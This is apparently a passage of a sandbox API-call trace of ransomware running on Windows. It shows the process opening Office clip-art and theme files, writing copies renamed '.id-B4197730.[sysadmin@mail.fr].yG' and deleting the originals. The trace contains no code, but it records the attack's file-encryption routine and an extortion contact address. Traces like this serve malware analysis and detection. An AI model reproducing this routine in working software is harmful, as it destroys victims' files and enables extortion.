	[0151.877] lstrlenW (lpString=".zip") returned 4
	[0151.877] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.877] lstrlenW (lpString=".rar") returned 4
	[0151.877] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.877] lstrlenW (lpString=".bz2") returned 4
	[0151.877] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.877] lstrlenW (lpString=".7z") returned 3
	[0151.878] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0151.878] lstrlenW (lpString=".dbf") returned 4
	[0151.878] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0151.878] lstrlenW (lpString=".1cd") returned 4
	[0151.878] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0151.878] lstrlenW (lpString=".jpg") returned 4
	[0151.878] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.878] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0151.878] lstrlenW (lpString="URBAN_01.MID") returned 12
	[0151.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0152.018] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=13358) returned 1
	[0152.018] CloseHandle (hObject=0x544) returned 1
	[0152.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 0x220
	[0152.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0152.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0152.018] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.019] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0152.020] GetLastError () returned 0x0
	[0152.020] ReadFile (in: hFile=0x544, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x342e, lpOverlapped=0x0) returned 1
	[0152.057] WriteFile (in: hFile=0x554, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x3430, lpOverlapped=0x0) returned 1
	[0152.058] ReadFile (in: hFile=0x544, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0152.058] WriteFile (in: hFile=0x554, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xec, lpOverlapped=0x0) returned 1
	[0152.058] SetEndOfFile (hFile=0x554) returned 1
	[0152.059] CloseHandle (hObject=0x554) returned 1
	[0152.059] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.059] SetEndOfFile (hFile=0x544) returned 1
	[0152.062] CloseHandle (hObject=0x544) returned 1
	[0152.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0152.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 1
	[0152.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0152.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0152.063] lstrlenW (lpString=".doc") returned 4
	[0152.063] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0152.063] lstrlenW (lpString=".docx") returned 5
	[0152.063] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0152.063] lstrlenW (lpString=".pdf") returned 4
	[0152.063] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0152.063] lstrlenW (lpString=".xls") returned 4
	[0152.063] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0152.063] lstrlenW (lpString=".xlsx") returned 5
	[0152.063] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0152.063] lstrlenW (lpString=".ppt") returned 4
	[0152.064] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0152.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0152.064] lstrlenW (lpString=".zip") returned 4
	[0152.064] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0152.064] lstrlenW (lpString=".rar") returned 4
	[0152.064] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0152.064] lstrlenW (lpString=".bz2") returned 4
	[0152.064] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0152.064] lstrlenW (lpString=".7z") returned 3
	[0152.064] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0152.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0152.064] lstrlenW (lpString=".dbf") returned 4
	[0152.064] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0152.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0152.064] lstrlenW (lpString=".1cd") returned 4
	[0152.064] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0152.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0152.064] lstrlenW (lpString=".jpg") returned 4
	[0152.064] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0152.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0152.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0152.064] lstrlenW (lpString=".doc") returned 4
	[0152.064] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0152.064] lstrlenW (lpString=".docx") returned 5
	[0152.065] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0152.065] lstrlenW (lpString=".pdf") returned 4
	[0152.065] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0152.065] lstrlenW (lpString=".xls") returned 4
	[0152.065] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0152.065] lstrlenW (lpString=".xlsx") returned 5
	[0152.065] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0152.065] lstrlenW (lpString=".ppt") returned 4
	[0152.065] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0152.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0152.065] lstrlenW (lpString=".zip") returned 4
	[0152.065] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0152.065] lstrlenW (lpString=".rar") returned 4
	[0152.065] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0152.065] lstrlenW (lpString=".bz2") returned 4
	[0152.065] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0152.065] lstrlenW (lpString=".7z") returned 3
	[0152.065] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0152.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0152.065] lstrlenW (lpString=".dbf") returned 4
	[0152.065] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0152.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0152.065] lstrlenW (lpString=".1cd") returned 4
	[0152.065] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0152.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0152.065] lstrlenW (lpString=".jpg") returned 4
	[0152.065] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0152.066] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0152.066] lstrlenW (lpString="Extreme Shadow.eftx") returned 19
	[0152.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0154.091] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=340217) returned 1
	[0154.091] CloseHandle (hObject=0x38c) returned 1
	[0154.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 0x220
	[0154.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0154.564] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.564] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0154.565] GetLastError () returned 0x0
	[0154.565] ReadFile (in: hFile=0x54c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x530f9, lpOverlapped=0x0) returned 1
	[0154.660] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x53100, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x53100, lpOverlapped=0x0) returned 1
	[0154.667] ReadFile (in: hFile=0x54c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.667] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xfa, lpOverlapped=0x0) returned 1
	[0154.668] SetEndOfFile (hFile=0x51c) returned 1
	[0154.668] CloseHandle (hObject=0x51c) returned 1
	[0154.668] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.668] SetEndOfFile (hFile=0x54c) returned 1
	[0154.678] CloseHandle (hObject=0x54c) returned 1
	[0154.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 1
	[0154.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0154.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0154.680] lstrlenW (lpString=".doc") returned 4
	[0154.680] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.680] lstrlenW (lpString=".docx") returned 5
	[0154.680] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.680] lstrlenW (lpString=".pdf") returned 4
	[0154.680] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.680] lstrlenW (lpString=".xls") returned 4
	[0154.680] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.680] lstrlenW (lpString=".xlsx") returned 5
	[0154.680] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.680] lstrlenW (lpString=".ppt") returned 4
	[0154.680] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0154.680] lstrlenW (lpString=".zip") returned 4
	[0154.680] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.680] lstrlenW (lpString=".rar") returned 4
	[0154.680] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.680] lstrlenW (lpString=".bz2") returned 4
	[0154.680] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.680] lstrlenW (lpString=".7z") returned 3
	[0154.680] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0154.680] lstrlenW (lpString=".dbf") returned 4
	[0154.681] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0154.681] lstrlenW (lpString=".1cd") returned 4
	[0154.681] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0154.681] lstrlenW (lpString=".jpg") returned 4
	[0154.681] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0154.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0154.681] lstrlenW (lpString=".doc") returned 4
	[0154.681] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.681] lstrlenW (lpString=".docx") returned 5
	[0154.681] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.681] lstrlenW (lpString=".pdf") returned 4
	[0154.681] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.682] lstrlenW (lpString=".xls") returned 4
	[0154.682] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.682] lstrlenW (lpString=".xlsx") returned 5
	[0154.682] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.682] lstrlenW (lpString=".ppt") returned 4
	[0154.682] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0154.682] lstrlenW (lpString=".zip") returned 4
	[0154.682] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.682] lstrlenW (lpString=".rar") returned 4
	[0154.682] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.682] lstrlenW (lpString=".bz2") returned 4
	[0154.682] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.682] lstrlenW (lpString=".7z") returned 3
	[0154.682] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0154.682] lstrlenW (lpString=".dbf") returned 4
	[0154.682] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0154.682] lstrlenW (lpString=".1cd") returned 4
	[0154.682] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91
	[0154.682] lstrlenW (lpString=".jpg") returned 4
	[0154.682] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.683] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0154.683] lstrlenW (lpString="Subtle Solids.eftx") returned 18
	[0154.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0155.003] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=45435) returned 1
	[0155.003] CloseHandle (hObject=0x51c) returned 1
	[0155.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 0x220
	[0155.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0155.005] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.005] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0155.006] GetLastError () returned 0x0
	[0155.006] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0xb17b, lpOverlapped=0x0) returned 1
	[0155.027] WriteFile (in: hFile=0x4a4, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xb180, lpOverlapped=0x0) returned 1
	[0155.029] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.029] WriteFile (in: hFile=0x4a4, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xf8, lpOverlapped=0x0) returned 1
	[0155.030] SetEndOfFile (hFile=0x4a4) returned 1
	[0155.037] CloseHandle (hObject=0x4a4) returned 1
	[0155.038] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.038] SetEndOfFile (hFile=0x51c) returned 1
	[0155.048] CloseHandle (hObject=0x51c) returned 1
	[0155.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0155.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 1
	[0156.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0156.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0156.111] lstrlenW (lpString=".doc") returned 4
	[0156.111] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0156.111] lstrlenW (lpString=".docx") returned 5
	[0156.111] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0156.111] lstrlenW (lpString=".pdf") returned 4
	[0156.111] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0156.111] lstrlenW (lpString=".xls") returned 4
	[0156.111] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0156.111] lstrlenW (lpString=".xlsx") returned 5
	[0156.111] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0156.111] lstrlenW (lpString=".ppt") returned 4
	[0156.112] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0156.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0156.112] lstrlenW (lpString=".zip") returned 4
	[0156.112] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0156.112] lstrlenW (lpString=".rar") returned 4
	[0156.112] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0156.112] lstrlenW (lpString=".bz2") returned 4
	[0156.112] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0156.112] lstrlenW (lpString=".7z") returned 3
	[0156.112] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0156.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0156.112] lstrlenW (lpString=".dbf") returned 4
	[0156.112] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0156.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0156.112] lstrlenW (lpString=".1cd") returned 4
	[0156.112] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0156.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0156.112] lstrlenW (lpString=".jpg") returned 4
	[0156.113] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0156.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0156.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0156.113] lstrlenW (lpString=".doc") returned 4
	[0156.113] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0156.113] lstrlenW (lpString=".docx") returned 5
	[0156.113] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0156.113] lstrlenW (lpString=".pdf") returned 4
	[0156.113] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0156.113] lstrlenW (lpString=".xls") returned 4
	[0156.113] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0156.113] lstrlenW (lpString=".xlsx") returned 5
	[0156.113] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
